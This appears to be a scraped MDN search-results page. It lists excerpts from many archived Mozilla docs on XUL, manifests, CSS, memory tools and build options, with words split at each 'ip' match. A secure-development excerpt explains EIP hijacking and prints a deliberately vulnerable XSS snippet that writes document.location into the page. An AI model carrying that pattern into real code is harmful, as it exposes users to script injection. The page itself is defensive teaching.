ipts using the sdk's supported apis how to go beyond the supported apis when necessary, by: using third party modules using the sdk's low-level apis getting direct access to xpcom finally, we'll walk through a simple example. should you migrate? see this comparison of the benefits and limitations of sdk development and xul development. whether you should migrate a particular add-on is largely a matter of how well the sdk's supported api...
...your add-on's root directory and create a directory there called "chrome". in that directory you can keep your "content", "locale", and "skin" subdirectories: this allows you to refer to objects in these directories from "chrome.manifest" using a relative path, like "chrome/content". this is provided only as a migration aid, and it's still a good idea to port xul windows to html. ...
...". in that directory you can keep your "content", "locale", and "skin" subdirectories: this allows you to refer to objects in these directories from "chrome.manifest" using a relative path, like "chrome/content". this is provided only as a migration aid, and it's still a good idea to port xul windows to html. ...
...And 9 more matches
Dialogs and Prompts - Archive of obsolete content
see working with windows in chrome code for introductory information and more discussion and examples. describing dialog windows dialogs in mozilla whenever you want to create a dialog in your application, use <dialog> (instead of usual <window>) as root element in the xul file. this will: handle a few keyboard events (enter/esc and more), which is good for keyboard accessibility. add ok and cancel buttons in an order that is consistent with os default (but the button set and layout is highly customizable, see below). simple dialog code the following xul code defines a simple dialog with two buttons, ok and cancel (buttons="accept,cancel" attribute on dialog). ...
...s a simple dialog with two buttons, ok and cancel (buttons="accept,cancel" attribute on dialog). <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="..." title="..." buttons="accept,cancel" ondialogaccept="return onaccept();" ondialogcancel="return oncancel();"> <scr
ipt src="chrome://..."/> <!-- content --> </dialog> you need to implement onaccept and oncancel functions in your scr
ipt. if they return anything but false, the dialog will be closed. buttons in <dialog> predefined there are six button types you can use in the buttons attribute of dialog. they are: accept -- ok button. cancel -- cancel button. disclosure -- more info button. help -- help...
... and the default is "accept", for compatibility with previous versions. using <dialogheader> you can use the dialogheader element to add "headers" to windows. to get an idea of what it looks like, open options (or preferences) dialog in firefox or thunderbird (v1.0 and earlier only). ...
...And 9 more matches
Displaying web content in an extension without security issues - Archive of obsolete content
one of the most common security issues with extensions is execution of remote code in privileged context. a typical example is an rss reader extension that would take the content of the rss feed (html code), format it nicely and insert into the extension window. the issue that is commonly overlooked here is that the rss feed could contain some malicious javascr
ipt code and it would then execute with the privileges of the extension -- meaning that it would get full access to the browser (cookies, history etc) and to user's files. these issues can easily be avoided by making use of the existing security mechanisms in the mozilla codebase. the following article explains these security mechanisms, ideally an extension that needs to display web content (which is always potentially dangero...
...rames it loads (the "type" attribute is ignored at that point). so if we look at the frame hierarchy there is a boundary between chrome and content, and at that boundary a number of security mechanisms apply. in particular, a content document can only go up in the frame hierarchy until the topmost content document, it cannot access the chrome documents above it. this means for example that javascr
ipt code top.location.href = "about:blank" will only unload the content document but won't have any effect on the chrome. note: this has really nothing to do with the source of the document. if you open "chrome://foo/content/foo.xul" in the browser, it will open as a content document despite having extended privileges. this also means that you won't be able to establish a security boundary between y...
...it won't harm disabling everything else as well unless it is really required: frame.docshell.allowauth = false; frame.docshell.allowimages = false; frame.docshell...
...And 9 more matches
Template Logging - Archive of obsolete content
s logged in a form much like the following: in template with id root using ref http://www.some-fictitious-zoo.com/birds new active result for query 2 matching rule 1: http://www.some-fictitious-zoo.com/birds/emperorpenguin in the example above, a new result has been added. for references, the value of the template's id and ref attributes are provided in each logged message. this is useful if mult
iple templates are being used. the second line gives details about the new result. the id of the result is specified at the end, in this case 'http://www.some-fictitious-zoo.com/b...emperorpenguin'. this corresponds to the id attribute set on a generated row. for an rdf datasource, this will be the result's resource. for other datasources, this may be a somewhat random value. however, calling getele...
...example, were expecting rule 2 to match, examine the rules and ensure that the logic is correct. the final piece of information is the phrase 'new active result'. this indicates first, that this is a new result, as opposed to a result being removed, and second, that this result is 'active'. being active means that the result is not being overridden by an earlier query. as this example implies mult
iple queries are being used, we can determine that the first query did not provide a result with the given id, and that the result from the second query is used instead. this allows us to narrow down what query and rule is being used to generate the content. if the query was inactive, the log would say 'new inactive query'. in template with id root using ref http://www.some-fictitious-zoo.com/birds ...
...its object attribute the object attribute on a <binding> element has to be variable (a value beginning with a question mark). expected <content> to be first for an rdf template, when using the full query syntax, the <content> element must always appear before any other elements. in other words, this error occurs because either the <content> element was missing or was placed after a <member> or <tr
iple> element. <member> requires a variable for its container attribute the container attribute on a <member> element has to be variable (a value beginning with a question mark). this error can also occur if the container attribute was not set. <member> requires a variable for its child attribute the child attribute on a <member> element has to be variable (a value beginning with a question mark). t...
...And 9 more matches
Document Object Model - Archive of obsolete content
modified using various methods provided for this purpose. specific xul elements also provide additional functions which may be used. each xul file that is loaded will have its own document displayed in a window or frame. although there is only ever one document associated with a window at a time, you may load additional documents using various methods. in mozilla, the dom may be accessed and man
ipulated using javascr
ipt. the various dom objects have functions which may be accessed in scr
ipt, however, it is important to note that the dom is an api that is accessible by javascr
ipt. javascr
ipt itself is just a scr
ipting language that can access these objects because mozilla provides these objects for use. in javascr
ipt, there is always a single global object that is always available. you can...
...w object. the window is often referred to using the window property, although this is optional. sometimes, this is done just to clarify the scope of the method you are referring to. for example, the following two lines which open a new window are functionally equivalent: window.open("test.xul","_new"); open("test.xul","_new"); when you declare a function or a variable at the top level of a scr
ipt, that is outside another function, you are actually declaring a property of the global object. in xul, each function you declare will be set as a property of the window object. for example, the following code will display the text 'message' in an alert twice. function gettext(){ return "message"; } alert(gettext()); alert(window.gettext()); thus, if you want to access variables or call a f...
...r function, you are actually declaring a property of the global object. in xul, each function you declare will be set as a property of the window object. for example, the following code will display the text 'message' in an alert twice. function gettext(){ return "message"; } alert(gettext()); alert(window.gettext()); thus, if you want to access variables or call a function declared in a scr
ipt used by another window, you just need to access it using the other window's window object. for example, if we combined the last two examples into a single file, we might want to call the gettext() function from within the other window (for example, the test.xul window). to do this, we can do the following: alert(window.opener.gettext()); each window has an opener property which holds the wind...
...And 9 more matches
Manifest Files - Archive of obsolete content
packages may be installed into mozilla and referenced with chrome urls. a package can contain any kinds of files and may be split into subdirectories for different parts of the package. a package can be stored either as a directory or as a jar archive. manifest files a manifest file describes a package and maps its location on disk to a chrome url. ...
...d to do to install a new package is add a new manifest file either into the application chrome directory or the user specific chrome directory. this latter chrome directory is normally the one used since the application directory might not have sufficient permissions to write into it. note: starting in gecko 2.0, only the file named chrome.manifest is read automatically; if you need to read mult
iple manifest files, use the manifest command in that file to import additional manifests. use manifest flags to configure the scenarios in which the secondary manifest is imported. if you just want to try testing privileged xul code in the firefox browser, you can do this easily by just using a manifest with only one line in it: create a new directory somewhere. for example, on a windows machine...
...'tests', which means that the first field in the chrome url is 'tests' as in chrome://tests/content/sample.xul. if the package name was 'browser', the chrome url would be chrome://browser/content/. the final field is the path where the files are located. this can be either a local file path using a file url or a jar archive using a jar url, which will be described in a moment. you can specify mult
iple packages by including another line in the manifest file. the browser.manifest file used by firefox looks like this: content branding jar:browser.jar!/content/branding/ xpcnativewrappers=yes content browser jar:browser.jar!/content/browser/ xpcnativewrappers=yes overlay chrome://global/content/viewsource.xul chrome://browser/content/viewsourceoverlay.xul overlay chrome://global/content/viewparti...
...And 9 more matches
panel - Archive of obsolete content
nel is a used as a temporary floating popup window that may contain any type of content. it does not have any window decorations. when open, it floats above the window and may extend outside the border of the main window. typically, it will be attached to a button using the button's type attribute so that when the button is pressed, the panel will be displayed. a panel may also be opened via a scr
ipt using the openpopup method. the panel is closed when the user clicks outside the panel, presses escape or when the panel's hidepopup method is called. warning: for firefox versions between 3.6 and 4.0, placing an iframe, browser or editor inside a panel is not supported. some features may work, but only on some platforms. for those versions of firefox, it is best to avoid child frames in a pan...
...idepopup method is called. warning: for firefox versions between 3.6 and 4.0, placing an iframe, browser or editor inside a panel is not supported. some features may work, but only on some platforms. for those versions of firefox, it is best to avoid child frames in a panel, if possible. this limitation was resolved as of firefox 4.0. attributes backdrag, close, consumeoutsideclicks, fade, fl
ip, ignorekeys, label, left, level, noautofocus, noautohide, norestorefocus, onpopuphidden, onpopuphiding, onpopupshowing, onpopupshown, position, titlebar, top, type properties accessibletype, label, popupboxobject, popup, state methods hidepopup, moveto, openpopup, openpopupatscreen, sizeto examples the following example shows how a panel may be attached to a label. <panel id="thepa...
...hidden, onpopuphiding, onpopupshowing, onpopupshown, position, titlebar, top, type properties accessibletype, label, popupboxobject, popup, state methods hidepopup, moveto, openpopup, openpopupatscreen, sizeto examples the following example shows how a panel may be attached to a label. ...
...And 9 more matches
textbox - Archive of obsolete content
more information is available in the xul tutorial. ...
... that the scale or number box may be set to. the default value is 100 for scales and infinity for number boxes. maxlength type: integer the maximum number of characters that the textbox allows to be entered. min type: integer the minimum value the textbox's value may take. the default value is 0. multiline type: boolean if true, the textbox displays mult
iple lines. if the user presses enter, a new line is started. if false, the textbox only allows entry of one line. newlines type: one of the values below how the text box handles pastes with newlines in them. possible values: pasteintact paste newlines unchanged pastetofirst paste text up to the first newline, dropping the rest of the text replacewithcommas pastes the text wit...
... newlines type: one of the values below how the text box handles pastes with newlines in them. ...
...And 9 more matches
SSL and TLS - Archive of obsolete content
between the server and client. the handshake allows the server to authenticate itself to the client using public-key techniques, then allows the client and the server to cooperate in the creation of symmetric keys used for rapid encryption, decryption, and tamper detection during the session that follows. ...
... cooperate in the creation of symmetric keys used for rapid encryption, decryption, and tamper detection during the session that follows. both of these protocols support using a variety of different cryptographic algorithms, or c
iphers, for operations such as authenticating the server and client, transmitting certificates, and establishing session keys. clients and servers may support different c
ipher suites, or sets of c
iphers. ...
...follows. both of these protocols support using a variety of different cryptographic algorithms, or c
iphers, for operations such as authenticating the server and client, transmitting certificates, and establishing session keys. clients and servers may support different c
ipher suites, or sets of c
iphers. among other functions, the ssl handshake determines how the server and client negotiate which c
ipher suite they will use to authenticate each other, to transmit certificates, and to establish session keys. key-exchange algorithms like rsa and ell
iptic curve cryptography (ecc) govern the way the server and client determine the symmetric keys to use during an ssl session. the most common ssl c
ipher suites use rsa key exchange, while tls supports ecc c
ipher suites as well as rsa. note: longer ...
...And 9 more matches
Sunbird Theme Tutorial - Archive of obsolete content
kage that users can install in an application to change the appearance of the application, without changing how the application works. for example, a theme can change the size and colour of the toolbar buttons, and provide different icons on the buttons. but a theme cannot provide an extra button. what do you need to make a theme? to make a theme, you usually need these tools: a jar tool or z
ip tool an editor for plain text files software for creating and editing images note: some z
ip tools only work with files whose names have <tt>.z
ip</tt> at the end. you can use this kind of z
ip tool if you rename each file before and after using the tool. you also need knowledge of: using your operating system to create files and directories using the tools listed above css graphic design ...
... making a theme a theme consists of: a unique identifier a file containing information about the theme a file that registers the theme with sunbird some files containing the theme itself set up your theme in sunbird's profile directory. ...
...y is your theme directory. go into your theme directory. creating information about your theme in your theme directory, create a plain text file named <tt>install.rdf</tt>. ...
...And 9 more matches
Building a Theme - Archive of obsolete content
firefox. note: this tutorial is about building themes for firefox 29 and later. other tutorials exist for building themes for earlier versions of firefox. for an older tutorial, see creating a skin for firefox. note: firefox for mac os x has changed some directories so the guide may be obsolete. setting up the development environment themes and extensions are packaged and distributed in z
ip files or bundles, with the xpi (pronounced "z
ippy") file extension. an example of the content within a typical xpi file for a theme: example.xpi: /install.rdf /chrome.manifest /preview.png /icon.png /chrome/ browser/ communicator/ global/ moza...
...xtracted from the default theme. first, you'll want to create a directory somewhere. copy your firefox installation's omni.ja into this directory. the location differs by operating system: linux: /usr/lib/mozillafirefox/chrome/classic.ja or /usr/lib/firefox-*.*.*/omni.ja windows: \program files\mozilla firefox\omni.ja mac os x: /applications/firefox.app/contents/macos/omni.ja now, open (or unz
ip) this file into the directory you created. it contains several folders, modules, jssubloader and others. the files we will be needing are located under the chrome\toolkit\skin\classic folder. create a folder called chrome in your theme's folder. next, the contents of the following directories to their respective folders into the folder. global to chrome/global mozapps to chrome/mozapps now...
...tions there. it's especially important to install the dom inspector, which we'll be using in later steps. ...
...And 9 more matches
Using the W3C DOM - Archive of obsolete content
<< previousnext >> the document object has properties for accessing collections of elements, such as document.images and document.forms. some browsers have non-standard properties, such as internet explorer's document.all[], that are not part of the w3c document object model (dom) standards and may cause javascr
ipt errors in standards-compliant browsers. the w3c document object model provides interfaces dom elements to scr
iptable objects. w3c dom standards are well supported by modern browsers, however the standards are moving target so support for newer features should be tested before use. using w3c standards means that code will run in compliant browsers with minimal need for cross-browser support, whereas code based on proprietary standards requires much more effort to b...
...dom elements to scr
iptable objects. w3c dom standards are well supported by modern browsers, however the standards are moving target so support for newer features should be tested before use. using w3c standards means that code will run in compliant browsers with minimal need for cross-browser support, whereas code based on proprietary standards requires much more effort to be compatible with mult
iple user agents. unsupported dom-related properties the following ie proprietary document object properties are not supported in the w3c document object model: document.layers[] id_attribute_value document.all document.all.id_attribute_value document.all[id_attribute_value] the following form related properties (originally from internet explorer) are not supported in the w3c document obj...
...instead, use the w3c dom properties and methods (examples in the next section). these are supported by internet explorer too so there is no need to use msie-specific attributes and methods. accessing elements with the w3c dom the basic method for referencing elements in an html page is document.getelementbyid().
...And 9 more matches
Archive of obsolete content
here. in general, it may be best to discuss it in the mdn web docs room on matrix before moving content here. .htaccess ( hypertext access ) file accessing : htaccess files can be opened using any text editor, like windows notepad, vin, sublime text editor or any other. syntax highliting support for .htaccess files less. 2015 mdn fellowsh
ip program add-ons archived add-ons documentation. adding preferences to an extension this article takes the creating a dynamic status bar extension sample to the next level, adding a popup menu that lets you quickly switch between mult
iple stocks to watch. it also adds a preference dialog that lets you switch to a stock other than one of t...
...origin policy. index of archived content inner-browsing extending the browser navigation paradigm this article is the version from 2003 with slight modifications (no images and no links to samples). it's here for reference. install.js see also this article from xulplanet's main tutorial. ...
...tending the browser navigation paradigm this article is the version from 2003 with slight modifications (no images and no links to samples). it's here for reference. install.js see also this article from xulplanet's main tutorial. jxon jxon (lossless javascr
ipt xml object notation) is a generic name by which is defined the representation of javascr
ipt objects using xml. there are no real standards for this conversion, but some conventions begin to appear on the web. there are some cases in which the whole content of an xml document must be read from the javascr
ipt interpreter (like for web-apps languages or settings xml documents, for example). in these cases jxon could represent the most practical way. list...
...And 9 more matches
Common causes of memory leaks in extensions - Extensions
.push(contentwindow); } this will keep the content window compartments alive until the browser window is closed. users often only open a single browser window per session and use tabs, in which case the leaked compartments will live for the whole life of the session. a similar problem is holding onto window objects or dom nodes (such as window.document) for too long by storing them in a javascr
ipt module. for example: var windows = []; function injavascr
iptcodemodule(window) { // forgetting or failing to pop the window again windows.push(window); } both of these cases can happen if you forget to declare local variables with var or let, which means they end up belonging to the global scope. for example: function implicitdeclarationleak(window) { // implicit variable declaration ...
....push(window); } both of these cases can happen if you forget to declare local variables with var or let, which means they end up belonging to the global scope. for example: function implicitdeclarationleak(window) { // implicit variable declaration in the js global, holding a strong ref to the document doc = window.document; } implicitly declared variables can be avoided by using ecmascr
ipt 5's strict mode. strict mode also excludes several other error-prone code patterns. for some examples found in real-world add-ons, see bug 712733, bug 725875, and bug 727552. to avoid these issues, references to dom nodes in foreign document should instead be stored in an object which is specific to that document, and cleaned up when the document is unloaded, or stored as weak references. ...
...e your code won't accidentally leak content windows. therefore, your add-on should clean up such intervals and timeouts when the corresponding content document is unloaded, by adding an unload event listener or by similar means. ...
...And 9 more matches
Introduction to CSS layout - Learn web development
ow us to take elements contained in a web page and control where they are positioned relative to their default position in normal layout flow, the other elements around them, their parent container, or the main viewport/window. the page layout techniques we'll be covering in more detail in this module are normal flow the display property flexbox grid floats positioning table layout mult
iple-column layout each technique has its uses, advantages, and disadvantages, and no technique is designed to be used in isolation. by understanding what each method is designed for you will be in a good place to understand which is the best layout tool for each task. normal flow normal flow is how the browser lays out html pages by default when you do nothing to control page layout. let's look...
...iv> <div class="box6">six</div> </div> once you have a grid, you can explicitly place your items on it, rather than relying on the auto-placement behavior seen above. in the second example below we have defined the same grid, but this time with three child items. we've set the start and end line of each item using the grid-column and grid-row properties. this causes the items to span mult
iple tracks. grid example 2 * {box-sizing: border-box;} .wrapper > div { border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } .wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; grid-template-rows: 100px 100px; grid-gap: 10px; } .box1 { grid-column: 2 / 4; grid-row: 1; } .box2 { grid-column: 1;...
...eed to know about floats as used in modern web design. floats example body { width: 90%; max-width: 900px; margin: 0 auto; } p { line-height: 2; word-spacing: 0.1rem; } .box { background-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); padding: 10px; border-radius: 5px; } <h1>simple float example</h1> <div class="box">float</div> <p> lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. duis felis orci, pulvinar id metus ut, rutrum luctus orci. cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. sed auctor cursus massa at porta. integer ligula
ipsum, tristique sit amet orci vel, viverra egestas ligula. curabitur vehicula tellus neque, ac ornare ex mal...
...And 9 more matches
HTML Cheatsheet - Learn web development
while using html it can be very handy to have an easy way to remember how to use html tags properly and how to apply them. mdn provides you with an extended html documentation as well as a deep instructional html how-to. however, in many cases we just need some quick hints as we go. that's the whole purpose of the cheatsheet, to give you some quick accurate ready to use code sn
ippets for common usages. remember that html tags must be used for their semantic, not their appearance. it's always possible to totally change the look and feel of a given tag using css so, when using html, take the time to focus on the meaning rather than the appearance. inline elements an "element" is a single part of a webpage. some elements are large and hold smaller elements like containers. some elements...
...ments like containers. some elements are small and are "nested" inside larger ones. by default, "inline elements" appear next to one another in a webpage. they take up only as much width as they need in a page and fit together horizontally like words in a sentence or books shelved side-by-side in a row.all inline elements can be implemented within the <body></body> tags. ...
...larger ones. by default, "inline elements" appear next to one another in a webpage. they take up only as much width as they need in a page and fit together horizontally like words in a sentence or books shelved side-by-side in a row.all inline elements can be implemented within the <body></body> tags. ...
...And 9 more matches
General asynchronous programming concepts - Learn web development
overview: asynchronous next in this article, we'll run through a number of important concepts relating to asynchronous programming, and how this looks in web browsers and javascr
ipt. you should understand these concepts before working through the other articles in the module. prerequisites: basic computer literacy, a reasonable understanding of javascr
ipt fundamentals. objective: to understand the basic concepts behind asynchronous programming, and how they manifest in web browsers and javascr
ipt. asynchronous? normally, a given program's code runs straight along, with only one thing happening at once. if a function relies on the result of another function, it has to wait for the other function to finish and return, and until that happens, the...
...olored cursor (or "beachball" as it is often called). this cursor is how the operating system says "the current program you're using has had to stop and wait for something to finish up, and it's taking so long that i was worried you'd wonder what was going on." this is a frustrating experience and isn't a good use of computer processing power -- especially in an era in which computers have mult
iple processor cores available. there's no sense sitting there waiting for something when you could let the other task chug along on another processor core and let you know when it's done. this lets you get other work done in the meantime, which is the basis of asynchronous programming. it is up to the programming environment you are using (web browsers, in the case of web development) to provide yo...
...the code runs in the order it appears in the source, and the later operation doesn't run till the earlier operation has finished running. note: the previous example is very unrealistic. you would never calculate 10 milli...
...And 9 more matches
Making decisions in your code — conditionals - Learn web development
language, the code needs to make decisions and carry out actions accordingly depending on different inputs. for example, in a game, if the player's number of lives is 0, then it's game over. in a weather app, if it is being looked at in the morning, show a sunrise graphic; show stars and a moon if it is nighttime. in this article, we'll explore how so-called conditional statements work in javascr
ipt. prerequisites: basic computer literacy, a basic understanding of html and css, javascr
ipt first steps. objective: to understand how to use conditional structures in javascr
ipt. you can have it on one condition..! human beings (and other animals) make decisions all the time that affect their lives, from small ("should i eat one cookie or two?") to large ("should ...
...es in javascr
ipt. ...
... basic if ... else syntax basic if...else syntax looks like the following in pseudocode: if (condition) { code to run if condition is true } else { run some other code instead } here we've got: the keyword if followed by some parentheses. a condition to test, placed inside the parentheses (typically "is this value bigger than this other value?", or "...
...And 9 more matches
Fetching data from the server - Learn web development
lications is retrieving individual data items from the server to update sections of a webpage without having to load an entire new page. this seemingly small detail has had a huge impact on the performance and behavior of sites, so in this article, we'll explain the concept and look at technologies that make it possible, such as xmlhttprequest and the fetch api. prerequisites: javascr
ipt basics (see first steps, building blocks, javascr
ipt objects), the basics of client-side apis objective: to learn how to fetch data from the server and use it to update the contents of a web page. what is the problem here? originally page loading on the web was simple -- you'd send a request for a website to a server, and as long as nothing went wrong, the assets that made th...
... to solve the problem described above. this is achieved by using apis like xmlhttprequest or -- more recently -- the fetch api. these technologies allow web pages to directly handle making http requests for specific resources available on a server and formatting the resulting data as needed before it is displayed. note: in the early days, this general technique was known as asynchronous javascr
ipt and xml (ajax), because it tended to use xmlhttprequest to request xml data. this is normally not the case these days (you'd be more likely to use xmlhttprequest or fetch to request json), but the result is still the same, and the term "ajax" is still often used to describe the technique. the ajax model involves using a web api as a proxy to more intelligently request data rather than just h...
...ndardized across browsers for quite a long time. to begin this example, make a local copy of ajax-start.html and the four text files -- verse1.txt, verse2.txt, verse3.txt, and verse4.txt -- in a new directory on your computer. in this example, we will load a different verse of the poem (which you may well recognize) via xhr when it's selected in the drop-down menu. just inside the <scr
ipt> element, add the following code. this stores a reference to the <select> and <pre> elements in constants and defines an onchange event handler function so that when the select's value is changed, its value is passed to an invoked function updatedisplay() as a parameter. const versechoose = document.queryselector('select'); const poemdisplay = document.queryselector('pre'); versechoose.oncha...
...And 9 more matches
Silly story generator - Learn web development
irst steps in this assessment you'll be tasked with taking some of the knowledge you've picked up in this module's articles and applying it to creating a fun app that generates random silly stories. have fun! prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of javascr
ipt fundamentals, such as variables, numbers, operators, strings, and arrays. starting point to get this assessment started, you should: go and grab the html file for the example, save a local copy of it as index.html in a new directory somewhere on your computer, and do the assessment locally to begin with. this also has the css to style the example contained within it. go to the page c...
...ml in a new directory somewhere on your computer, and do the assessment locally to begin with. this also has the css to style the example contained within it. go to the page containing the raw text and keep this open in a separate browser tab somewhere. you'll need it later. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html, css and javascr
ipt into one of these online editors. if the online editor you are using doesn't have a separate javascr
ipt panel, feel free to put it inline in a <scr
ipt> element inside the html page. note: if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. project brief you have been provided with some raw html/css and a few text strings and javas...
...into one of these online editors. if the online editor you are using doesn't have a separate javascr
ipt panel, feel free to put it inline in a <scr
ipt> element inside the html page. note: if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. project brief you have been provided with some raw html/css and a few text strings and javascr
ipt functions; you need to write the necessary javascr
ipt to turn this into a working program, which does the following: generates a silly story when the "generate random story" button is pressed. replaces the default name "bob" in the story with a custom name, only if a custom name is entered into the "enter custom name" text field before the generate button is pressed. converts the default us...
...And 9 more matches
Configuring Build Options
ment without consulting benjamin smedberg <benjamin@smedbergs.us> or one of the build-config peersthis document details how to configure firefox builds. most of the time a mozconfig file is not required. the default options are the most well-supported, so it is preferable to add as few options as possible. please read the following directions carefully before building, and follow them in order. sk
ipping any step may cause the build to fail, or the built software to be unusable. build options, including options not usable from the command-line, may appear in "confvars.sh" files in the source tree. using a mozconfig configuration file the choice of which mozilla application to build and other configuration options can be configured in a mozconfig file. (it is possible to manually call config...
...mozilla-central/mozconfig or /comm-central/mozconfig). create a blank mozconfig file: echo "# my first mozilla config" > mozconfig if your mozconfig isn't in your source directory, you can also use the mozconfig environment variable to specify the path to your mozconfig. the path you specify must be an absolute path or else client.mk will not find it. this is useful if you choose to have mult
iple mozconfig files for different applications or configurations (see below for a full example). note that in the export example below the filename was not mozconfig. regardless of the name of the actual file you use, we refer to this file as the mozconfig file in the examples below. setting the mozconfig path: export mozconfig=$home/mozilla/mozconfig-firefox calling the file .mozconfig (with ...
...ptions are passed to client.mk. the most important of these is moz_objdir, which controls where your application gets built (also known as the object directory). options prefixed with ac_add_options are passed to configure, and affect the build process. building with an objdir this means that the source code and object files are not intermingled in your directory system and you can build mult
iple applications (e.g., firefox and thunderbird) from the same source tree. if you do not specify a moz_objdir, it will be automatically set to @topsrcdir@/obj-@config_guess@. if you need to re-run configure, the easiest way to do it is using ./mach configure; running configure manually is strongly discouraged. adding the following line to your mozconfig allows you to change the objdir: mk_add_o...
...And 9 more matches
AddonManager
the addonmanager object is the global api used to access information about add-ons installed in the application and to man
ipulate them. the majority of the methods are asynchronous meaning that results are delivered through callbacks passed to the method. the callbacks will be called just once but that may be before or after the method returns. one of the forces of the addonmanager is that it deals with any kind (type) of add-on in a generic manner. to do so many methods of the addonmanager take the add-on types as parameters. the existing add-on types are defined in xp
iprovider.jsm and are, at this time, the following: extension, theme, locale, mult
ipackage, dictionary and experiment. to import the addonmanager object in the add-on sdk, use: const { addonmanager } = require("resource://...
... autoupdatedefault boolean whether add-ons should auto-update by default (overrideable per add-on). corresponds to the extensions.autoupdatedefault preference. callbacks installcallback() a callback that is passed a single addoninstall void installcallback( in addoninstall install ) pa...
...the addon passed back from the asynchronous request. if an error occurred (such as an add-on not being found), null is passed back instead. addonlistcallback() a callback that is passed an array of addons void addonlistcallback( in addon addons[] ) parameters addons the array of addons passed back from the asynchronous request constants addoninstall states constant descr
iption state_available an install that is waiting to be started. state_downloading an install that is in the process of being downloaded. state_checking an install that is checking for updated information. state_downloaded an install that has finished downloading and is ready to install. state_download_failed an install that failed to downl...
...And 9 more matches
DMD
g to run under gdb. trigger there are three ways to trigger a dmd snapshot. visit about:memory and click the dmd button (depending on how old your build is, it might be labelled "save" or "analyze reports" or "dmd"). the button won't be present in non-dmd builds, and will be grayed out in dmd builds if dmd isn't enabled at start-up. if you wish to trigger dmd dumps from within c++ or javascr
ipt code, you can use nsimemoryinfodumper.dumpmemorytotempdir. for example, from javascr
ipt code you can do the following. const cc = components.classes; let mydumper = cc["@mozilla.org/memory-info-dumper;1"] .getservice(ci.nsimemoryinfodumper); mydumper.dumpmemoryinfototempdir(identifier, anonymize, minimize); this will dump memory reports and dmd output to the temporary direc...
... want to use other dmd options, you can enter additional environment variables above. you will need to push this to the device and make it executable. since you cannot mark files in /sdcard/ as executable, we will use /data/local/tmp for this purpose: adb push dmd_fennec /data/local/tmp adb shell cd /data/local/tmp chmod 755 dmd_fennec the final step is to make android use the above wrapper scr
ipt while launching fennec, so that the environment variable is present when fennec starts up. assuming you have done a local build, the app identifier will be org.mozilla.fennec_$username ($username is your username on the host machine) and so we do this as shown below. if you are using a dmd-enabled try build, or build from other source, adjust the app identifier as necessary. adb shell su # y...
...ost machine) and so we do this as shown below. if you are using a dmd-enabled try build, or build from other source, adjust the app identifier as necessary. adb shell su # you need root access for the setprop command to take effect setprop wrap.org.mozilla.fennec_$username "/data/local/tmp/dmd_fennec" once this is set up, starting the org.mozilla.fennec_$username app will use the wrapper scr
ipt. launch launch fennec either by tapping on the icon as usual, or from the command line (as before, be sure to replace org.mozilla.fennec_$username with the app identifier as appropriate). adb shell am start -n org.mozilla.fennec_$username/.app trigger use the existing memory-report dumping hook: adb shell am broadcast -a org.mozilla.gecko.memory_dump in logcat, you should see output sim...
...And 9 more matches
SpiderMonkey Build Documentation
other memory-related problems. see js_setgczeal() for details. ...
...ries): /bin/sh ../configure.in --help generating a compilation database some tools (like ides, static analyzers and refactoring tools) consume a file called compile_commands.json which contains a descr
iption of all the pieces required to build a piece of software so that tools don't have to also understand a build system. to generate a compile_commands.json with the spidermonkey configure scr
ipt, enable the compiledb backend, like this: /bin/sh ../configure.in <options> --enable-build-backends=compiledb,recursivemake (recursivemake is there as you'd likely also want to be able to build!) windows builds since version 28, threadsafe builds are the default, and should work out of the box on all posix platforms. hence, the following instructions should only be relevant if you're on wi...
...nfigure with --target=x86_64-pc-mingw32 --host=x86_64-pc-mingw32. since the posix nspr emulation is not available for windows, a working version of nspr must be available to your build. the easiest option is to configure with --enable-nspr-build. this configure option builds the in-tree version of nspr which is probably what you want; because spidermonkey uses newer nspr symbols, the nspr that sh
ips with your operating system probably does not work. if --enable-nspr-build does not work, explicitly tell configure where to find nspr using the --with-nspr-cflags and --with-nspr-libs configure options. for example, assuming your local nspr has been installed to c:/mozilla-build/msys/local: /bin/sh ../configure.in --with-nspr-cflags="-ic:/mozilla-build/msys/local/include" \ --with-...
...And 9 more matches
Secure Development Guidelines
how to mitigate them everything is oriented toward c/c++ introduction: gaining control specifics about the underlying architecture, using x86 as an example 6 basic registers (eax, ebx, ecx, edx, edi, esi) 2 stack-related registers (esp, ebp) mark top and bottom of current stack frame status register (eflags) contains various state information instruction pointer (e
ip) points to register being executed; can't be modified directly introduction: gaining control (2) e
ip is modified using call or jump instructions attacks usually rely on obtaining control over the e
ip otherwise the attacker can try to control memory pointed to by an existing function pointer a vulnerability is required to modify the e
ip or sensitive memory saved return addr or ...
... writing secure code: input validation input validation most vulnerabilities are a result of un-validated input always perform input validation could save you without knowing it examples: if it doesn't have to be negative, store it in an unsigned int if the input doesn't have to be > 512, cut it off there if the input should only be [a-za-z0-9], enforce it cross site scr
ipting (xss) xss is a type of code injection attack typically occurs in web applications injection of arbitrary data into an html document from another site victim's browser executes those html instructions could be used to steal user credentials think: webmail, online auction, cms, online banking... xss: example the following sn
ippet of javascr
ipt: document.write("welcome to " + documen...
...to an html document from another site victim's browser executes those html instructions could be used to steal user credentials think: webmail, online auction, cms, online banking... xss: example the following sn
ippet of javascr
ipt: document.write("welcome to " + document.location); ... ...
...And 9 more matches
XPCOM array guide
introduction array types mozilla has many array classes because each array is optimized for a particular usage pattern. this guide describes the available arrays as well as the enumerator classes that can be used to get to them. in this document the term array refers to a container for mult
iple objects with a numeric, zero-based index. the standard array classes are: nsiarray - a scr
iptable container for scr
iptable xpcom objects. this array is read-only, and the interface does not provide any methods that will allow adding and removing members. nsimutablearray - a scr
iptable container for scr
iptable xpcom objects, which allows addition and removal of member objects. this interface actually derives from nsiarray. nstarray<t> - a c++ class which provides a typesafe container fo...
